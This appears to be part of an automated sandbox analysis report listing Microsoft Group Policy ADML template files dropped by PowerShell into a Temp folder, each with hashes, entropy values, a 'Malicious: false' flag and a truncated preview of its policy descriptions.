Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Microsoft Support Diagnostic Tool</string>.. <string id="WdiScenarioExecutionPolicy">Microsoft Support Diagnostic Tool: Configure execution level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines the execution level for Microsoft Support Diagnostic Tool.....Microsoft Support Diagnostic Tool (MSDT) gathers diagnostic data for analysis by support professionals.....If you enable this policy setting, administrators can use MSDT to collect and send di

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (499), with CRLF line terminators
Category:	dropped
Size (bytes):	30569
Entropy (8bit):	4.629506484487412
Encrypted:	false
SSDEEP:	384:S3fWPIaG5EBoj8lK1I8DBkpkBLNPn4WCMIb53woYlHMwIxTQMNBN2wJKPCoz1Nqb:7wI8DhTSb53w/4DRb
MD5:	281E7FFCCBCB02FC616FEBF6F291B411
SHA1:	EB918DDA656626758F3B4B993C12CB04BA7F18E3
SHA-256:	BEA0490CA9E830B84869A273D0011683A54FA4E92E0EFF63B9F123CFFFC40C60
SHA-512:	6C932E4F13F9FE7C0C38A92C85808138C8ACB0CA925A8B5B149CA3C0F081B90112C52A165E37DEB5A400E300386108A9CC8D8F75D68D697798E34B40325E270A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowLockdownBrowse">Allow users to browse for source while elevated</string>.. <string id="AllowLockdownBrowse_Help">This policy setting allows users to search for installation files during privileged installations.....If you enable this policy setting, the Browse button in the "Use feature from" dialog box is enabled. As a result, users can search for installation files even when the installation program is running with elevated system privileges.....Because the installation is running with elevated system p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MediaCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.94325326862628
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDIuQF6FVMFV:cgeD5x8gm8fKbyqFV
MD5:	7EFC78CEE6A256186F169D12466F667D
SHA1:	C190C0FAB77A5095D595ED65CF1E0ADF81A9AE7E
SHA-256:	DD91079C05795BD2BBA3C3F0A7167A5B8760A540C2E3000F379D4058D2E67258
SHA-512:	B5A90208C5A69F90DB1F7C90B161E066FFDFF2761BECC314D1611709EFE31848D250A45EFFBF60356E71C00370A99252CE8D4ECB804683575528F5E6FCE7432A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MediaCenter">Windows Media Center</string>.. <string id="MediaCenter_Disable">Do not allow Windows Media Center to run</string>.. <string id="MediaCenter_Disable_Help">This policy setting allows or prevents Windows Media Center to run.....Windows Media Center is a digital media player and video recorder that allows users to organize and play music and videos, and to view and record live television.....If you enable this policy setting, Windows Media Center will not run.....If you disable or do not configu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MobilePCMobilityCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.9534177597350935
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yLwjaMb3zjS/RmN3FooRFV:cgeD5x8gm8fKkqaM3a/RmNqAFV
MD5:	F4ED8285AC3F6D33796ECEB5A7D654D7
SHA1:	8856483D9DE028B8ADED5807E7F786E61BA9A969
SHA-256:	94D9C7AAF148F31B6129B5567F963832427DE828DCD7E0B31F1BCBDBD5DBED3C
SHA-512:	6B7A56459CCC4DDE7A3EE144334295653B394D5D6499E98FC0184244D6FE4B3BE38324492378EA88C4851133678287CD4C5381120F83488AE639279CBFC8A328
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MobilityCenterCat">Windows Mobility Center</string>.. <string id="MobilityCenterEnable">Turn off Windows Mobility Center</string>.. <string id="MobilityCenterEnableExplain">This policy setting turns off Windows Mobility Center.....If you enable this policy setting, the user is unable to invoke Windows Mobility Center. The Windows Mobility Center UI is removed from all shell entry points and the .exe file does not launch it.....If you disable this policy setting, the user is able to invoke Windows Mobility

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MobilePCPresentationSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.847847941024891
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ycjpb3BnEndr90fFV:cgeD5x8gm8fKrV3Bn2RSfFV
MD5:	3D1BC388407E64D128728E5259ADAC99
SHA1:	AAF0BD72A00F01936A1B8CFF0DD9F43B4A5DEB06
SHA-256:	EC7D1B396B99416F267F99BA8D7A81199284C01CAE1A19081F2670233FA02F20
SHA-512:	68A27081AA8ABEAECED75720102C4712FCBFB0BF77918A8C47C62BA0EC4FA0F369DD605A91AF0B671DC079053F0A1328B6F5DBA9A0623E8B03095FCB65F6D83C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PresentationSettingsCat">Presentation Settings</string>.. <string id="PresentationSettingsEnable">Turn off Windows presentation settings</string>.. <string id="PresentationSettingsEnableExplain">This policy setting turns off Windows presentation settings.....If you enable this policy setting, Windows presentation settings cannot be invoked.....If you disable this policy setting, Windows presentation settings can be invoked. The presentation settings icon will be displayed in the notification area. This wi

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Msi-FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3082
Entropy (8bit):	4.810214089047188
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKyxgteEKvv4NYlVOdX71JDerq5x0BsYu9tP4XEgV:LeD5pmHWwua5PD2qjCsNtPeV
MD5:	DA778ED24DE53EF1BAF75408032E34A8
SHA1:	20B3E050E4094CDEA1765EFA73AE92DADF4D3F18
SHA-256:	1FA3057260F8642ADAF7C30D68CBDF5703BCBE983ACBEB0335FD31347D8CE4CB
SHA-512:	393A383F1CA87036A1893150514276B1277816CDAAC1704891D0345C1464D53B22C0ACD752EAF4B130EA8E3C40C3B4AC86FDADBBCD2F792414E79575C746BD82
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">MSI Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure MSI Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted MSI files to one of three states:....Prompt for Resolution: Detection, troubleshooting, and recovery of corrupted MSI applications will be turned on. Windows will prompt the user with a dialog box when application reinstallat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NAPXPQec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.0468646750436905
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ylySwH3ZhAEonuYNuEZsFV:cgeD5x8gm8fKiSYdmFV
MD5:	A4208900FDE8B3665E5C81E299CA7BFF
SHA1:	D15B972870FC4A1FBFF2E709DBC6AB031E4A46E6
SHA-256:	156AC533DE885DE2086D1506713B46BFBCFDEB20FCD783B16C3CD4C143868549
SHA-512:	A40CFC29E6C50B0CE4D98A1F9FFF71DBB17C8A33C7018BD9C4BD80BC31257D279F75057C3EEE1AC47F5A40FC16493D188CEFFAC7B0F5C70D16E22B1A492AC97D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NAP_Category">Network Access Protection</string>.. <string id="NAP_XP_1x_QEC">Allow the Network Access Protection client to support the 802.1x Enforcement Client component</string>.. <string id="NAP_XP_1x_Help">This policy setting allows the Network Access Protection (NAP) client to support the Windows XP version of the 802.1x Enforcement Client component.....If you enable this policy setting, NAP allows the Windows XP version of the 802.1x Wireless Enforcement Client to participate. ....If you disa

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (417), with CRLF line terminators
Category:	dropped
Size (bytes):	5609
Entropy (8bit):	4.807720215972321
Encrypted:	false
SSDEEP:	96:oD5pmB6SbbXVjG7/loPSNYOag8hW3QDFzdQFXukdFeYoZTe2FRA15VrpbWFo9FV:+jErVjGmighWmAd8KoPe
MD5:	C62CBB79E2AF2E3CC1FD69206D0C9716
SHA1:	3C18FFFC927A30CCD66B2D23D553BCA29642497D
SHA-256:	5E583582C0A4A933C3A0E4A4270E034DE6B8DD23B2676A1ECAD986DB71F28E7D
SHA-512:	B65C8F3EF4A1DBA11E8E915F8E31A874E83042923F98941CD8441066C103ABBB61A720BF24729CE17DEDC1916873BB86E7C5E1830D4AA96982EE0592E3830F2D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Connectivity Status Indicator Group Policy Settings</displayName>.. <description>Network Connectivity Status Indicator Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="NCSI_Category">Network Connectivity Status Indicator</string>.. <string id="NCSI_CorpWebProbeUrl">Specify corporate Website probe URL</string>.. <string id="NCSI_CorpWebProbeUrl_Help">This policy setting enables you to specify the URL of the corporate website, against which an active probe is performed.</string>.. <string id="NCSI_CorpDnsProbeHost">Specify corporate DNS probe host name</string>.. <string id="NCSI_CorpDnsPro

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Netlogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1008), with CRLF line terminators
Category:	dropped
Size (bytes):	46428
Entropy (8bit):	4.777664679838725
Encrypted:	false
SSDEEP:	768:MwjkYrp+MHlkfrwiTrotseXkz4l/hHui7n421:/wYrcMHlkfrwiTrot3Xk8l9uM40
MD5:	B6CB2AF44B11487F92D14A3E9B7B4F70
SHA1:	DCFC1F715BD49D62021568F76D8CD3BBB85D01CF
SHA-256:	14B401FBE6F5FD279430D383196F16AC0D93EE665D0225C7F2C4C3DD56D7B847
SHA-512:	7373B5EFF0A8574961C7373CEF567071852FB57663978ED9E1A8BB2E9B6E4AB1390260204B518D40621AEC4B5F14A18793BE7D4550ADABBA0BDA11FFA90EEA6A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Netlogon">Net Logon</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain">Use DNS name resolution with a single-label domain name instead of NetBIOS name resolution to locate the DC</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain_Help">This policy setting specifies whether the computers to which this setting is applied attempt DNS name resolution of a single-label domain names.....By default, the behavior specified in the AllowDnsSuffixSearch is used. If the AllowDnsSuffixSearch policy is d

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkConnections.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1486), with CRLF line terminators
Category:	dropped
Size (bytes):	41991
Entropy (8bit):	4.576451646468249
Encrypted:	false
SSDEEP:	768:0dx8EooEviP1PjM6PtCldxD9xI2FzOkRZWx+LmCYvecgy3W7dlDelurmYEg4g+z/:iFOI
MD5:	0F0684FA5CF664EAF158690457E68D92
SHA1:	DFA272AD045597933D1144F01921EABA0B6BC4A4
SHA-256:	E86F5AD0D0A55ED34D90A2EE7222564656C684FCA48F9CE2C0363266C7C10ECE
SHA-512:	ED1BEF62FA7CECD3E618F31D951259704A13910E4AD3276C396003AF543EE6C6FBC86E4573366D6103D997B1C2DE98E879AE08BAB5676BE2F12579CBEDDD7D10
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NC_AddRemoveComponents">Prohibit adding and removing components for a LAN or remote access connection</string>.. <string id="NC_AddRemoveComponents_Help">Determines whether administrators can add and remove network components for a LAN or remote access connection. This setting has no effect on nonadministrators.....If you enable this setting (and enable the "Enable Network Connections settings for Administrators" setting), the Install and Uninstall buttons for components of connections are disabled, and admini

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkIsolation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	exported SGML document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	6746
Entropy (8bit):	4.9079819692940125
Encrypted:	false
SSDEEP:	96:V+D5pmzqJhUf3fJyoZ+EsiZoTCdhY5+J6M6xpBGbvH4J5w4V:qdU/hyoXZoSrJ6nxpkbvHKN
MD5:	39E7220D62B6A3DBB2C126FBB57233BA
SHA1:	FA2CA706CB425FF910215D0E0D84DC05FEC673B6
SHA-256:	D7FDCFBCAD3F6A8CAE618320A16E408B4EF7A2830EBE54AC141F8CD37C4B26D2
SHA-512:	843380F52E434137DE92DF229B2C5103223EB4A22C6A52FC679B63A943938BD38B5AA5167F4DDB6620E921CEA1315B1EA84E1847AD83C780419FC1470E93E9BE
Malicious:	false
Preview:	(c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Isolation </displayName>.. <description>Configures Network Isolation Options for apps </description>.. <resources>.. <stringTable>.. .<string id="WF_Isolation">Network Isolation</string>........ Define server addresses that proxy to the Internet -->......<string id="WF_NetIsolation_Domain_Proxies">Internet proxy servers for apps</string> ...<string id="WF_NetIsolation_Domain_Proxies_Help"> This setting does not apply to desktop apps......A semicolon-separated list of Internet proxy server IP addresses. These addresses are categorized as Internet by Windows Network Isolation and are accessible to apps that have the Internet Client or Internet Client/Server capabilities....

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkProjection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	4.838388154516794
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKQqmmBpOVxwxpBewWk7EQg+61kg+6xrjMWK/WV:LeD5pmEqmmp8xwLBzWkiz/zZjMWK/WV
MD5:	1AEA64EE82CCCF20BE4E7178E0D9C569
SHA1:	674AC6F5BD545EB75E05FED6CDD384C4440C2B29
SHA-256:	615E09EEC96E2E99550CA7014AD5E7249C031E1E19B2241032C1BE983622729D
SHA-512:	0FDE894C202D495A8A674E637B6E5B1BE25333C1D4BFECA1CA3503A19E43ECB847131FF32B81145822C87513C308C07B9CBB8A519A62999FA992CB28C3348210
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNetworkProjector">Turn off Connect to a Network Projector</string>.. <string id="DisableNetworkProjectorExplain">This policy setting disables the Connect to a Network Projector wizard so that users cannot connect to a network projector. ....If you enable this policy setting, users cannot use the Connect to a Network Projector Wizard to connect to a projector. ....If you disable or do not configure this policy setting, users can run the Connect to a Network Projector Wizard to connect to a projector.</st

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\OfflineFiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (634), with CRLF line terminators
Category:	dropped
Size (bytes):	50909
Entropy (8bit):	4.7108422069629725
Encrypted:	false
SSDEEP:	1536:c5kq1yeql7iURcwKILdZoJ7TCFRFzMOXIo:ZekZMOD
MD5:	845935D73456E658B4DD9CB27224CBF7
SHA1:	7336E494495EB05622F3791BC19E46499B3B60DE
SHA-256:	169924EB41BD644647F5F4710438C757F1C3BEF0196D4D09CBF9B52D05D17A47
SHA-512:	9F6BDF080314A23D1A82321CB3C8171130695E82205F32E895A7C1EEDAE59571E2C22E09171FA9377BC429A0E8118E44E151754ED2FF1A63B112494F54A9FF02
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_OfflineFiles">Offline Files</string>.. <string id="Lbl_Fail">Never go offline</string>.. <string id="Lbl_FullSync">Full</string>.. <string id="Lbl_QuickSync">Quick</string>.. <string id="Lbl_WorkOffline">Work offline</string>.. <string id="Pol_AlwaysPinSubFolders">Subfolders always available offline</string>.. <string id="Pol_AlwaysPinSubFolders_Help">Makes subfolders available offline whenever their parent folder is made available offline.....This setting automatically extends the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\P2P-pnrp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (447), with CRLF line terminators
Category:	dropped
Size (bytes):	15965
Entropy (8bit):	4.663039279812552
Encrypted:	false
SSDEEP:	192:EVvPk2QsF4WSKheDnylZ+QsF4W+KheDnyxko4QsF4WnKheDnyGS8OzsO4WdmI:OLvhwTjhwK4khwQ8wr
MD5:	4CE12CD17365AE6E6C922AE0C3D70110
SHA1:	328E59731F170FD42BA614E5FD6AC09AAD91C8D5
SHA-256:	D262B118B555E83840A9AC077963B0E50F589C09950F77EB5865D25776D1A78B
SHA-512:	41B5A3AF2D00993E50B4DA53132DFF75F07B549405C88589FB96AA85E074C418CA35931FA1B674EF7129B3495FABE404EF4A74F4C20A48BDE6F3E7A7408583A6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="P2P_Disabled">Turn off Microsoft Peer-to-Peer Networking Services</string>.. <string id="P2P_Disabled_Explain">This setting turns off Microsoft Peer-to-Peer Networking Services in its entirety, and will cause all dependent applications to stop working.....Peer-to-Peer protocols allow for applications in the areas of RTC, collaboration, content distribution and distributed processing.....If you enable this setting, peer-to-peer protocols will be turned off.....If you disable this setting or do not configure it,

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ParentalControls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.01040774159096
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDTRc42cN28Ml28Sv7T8MZFV:cgeD5x8gm8fKitDvNQlGVFV
MD5:	2DD43AEA1D0F6713F020401FC72878BC
SHA1:	4A8B428938DB72FC55F5EA72F95E9323BE1B4192
SHA-256:	FC70BC44ADAEC32E39A503CEEC2F52B98C697D61BE6C120A96480445A968FE5A
SHA-512:	CB4FC3B7FC46F1CBFEE1EDA2B6D51ECE2E8DBE983BB0D083109D999AC020634721FD3B42D917FEB9146A12F86D79389FAA6B95CA0832F58CC063B22D0C4B882B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ParentalControls">Family Safety</string>.. <string id="ParentalControls_EnableOnDomain_help">This policy setting allows you to configure the Family Safety feature.....If you enable this policy setting, the Family Safety control panel is visible on a domain joined computer.....If you disable or do not configure this policy setting, the Family Safety control panel is not visible on a domain joined computer.</string>.. <string id="ParentalControls_EnableOnDomain">Make Family Safety control panel visible on a

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PeerToPeerCaching.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	24638
Entropy (8bit):	4.564624284444478
Encrypted:	false
SSDEEP:	384:N1iKAegTK4PjZqKNomwtzxkBK8R02vXkh3RIaImzg6h3hquhT:N1itegT5PjsQHwtzxkBJR9yqmzh3N
MD5:	B5D667D298E0EDCC6D2FB6F0C01B7223
SHA1:	931DE60F0DBE31DC890905C6D7ACC05112F810A8
SHA-256:	673CB9F3C9B5B753C41C6B44519A04C32A10ABD90533CEC88E4AD20A0E564D55
SHA-512:	44C5535A92A8DE5364FCC39ED26171BBA4C25DDE495BFA9A9695A7F2E7F579AE08D972CAFF848ED9D5A6339307EA3CD2033838FF8AE006340D2CCB8A9F90ADB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>BranchCache</displayName>.. <description>BranchCache enables clients to securely retrieve content from within the branch office instead of having to retrieve it from the server hosting the content. Depending on the deployment mode, the content can be retrieved from other clients in the branch office or from a hosted cache server in the branch. A client can only retrieve content from within the branch if it is authorized by the server to do so. The use of BranchCache reduces costs on the wide area network (WAN) link that connects your branch offices to the data center or headquarters and increases download speeds for content that has already been downl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PenTraining.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.027249517124002
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yx9WmOQzWmYKAQKvqmiHAQKvMFV:cgeD5x8gm8fKAQmOVmYHimTHkFV
MD5:	7B4EC129E00834B2E499BEBCE8E75083
SHA1:	D4BEA36D9A628D70055431E5A6967BAF87294A02
SHA-256:	A00BB104395F6DC86AF2921893AF3BC129D7A2A2DDFA5CCA22FF6D055AF11E31
SHA-512:	5A5E2389AB7A3C432FEEB8D68F1C144A1525934FC1FA8442E8C12CC11652FEDF101E73AD8D10197FDC0F6AF0DA2D887BEFE2BAD792BEF4E943DD9C71EBAEB2F6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PenTraining">Tablet PC Pen Training</string>.. <string id="PenTrainingOff">Turn off Tablet PC Pen Training</string>.. <string id="PenTrainingOff_Help_LOCALMACHINE">Turns off Tablet PC Pen Training.....If you enable this policy setting, users cannot open Tablet PC Pen Training.....If you disable or do not configure this policy setting, users can open Tablet PC Pen Training.</string>.. <string id="PenTrainingOff_Help_USER">Turns off Tablet PC Pen Training.....If you enable this policy setting, users ca

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PerformanceDiagnostics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (577), with CRLF line terminators
Category:	dropped
Size (bytes):	8181
Entropy (8bit):	4.68291957028103
Encrypted:	false
SSDEEP:	192:E65cdjVSpt6DejVSpOZq1jVSpWLqXjVSpsHz2TgS:bk4md
MD5:	1242B4E18BC034195D7064E4CDEB8B92
SHA1:	4BF81B86AC91ED3B51C97569728CD29858459D68
SHA-256:	29F060D6A4CA93A94F33D46150AF949B5F2EB63214AF05C5700E552555F81C54
SHA-512:	0A17703E8858409CB9AEBE827143EA77516576F473AC18873B3848F4A4D000F739E757655945CAB3DBE8E05B06496E07C2C8C7811CE5D7407153D9B167B8015E
Malicious:	false
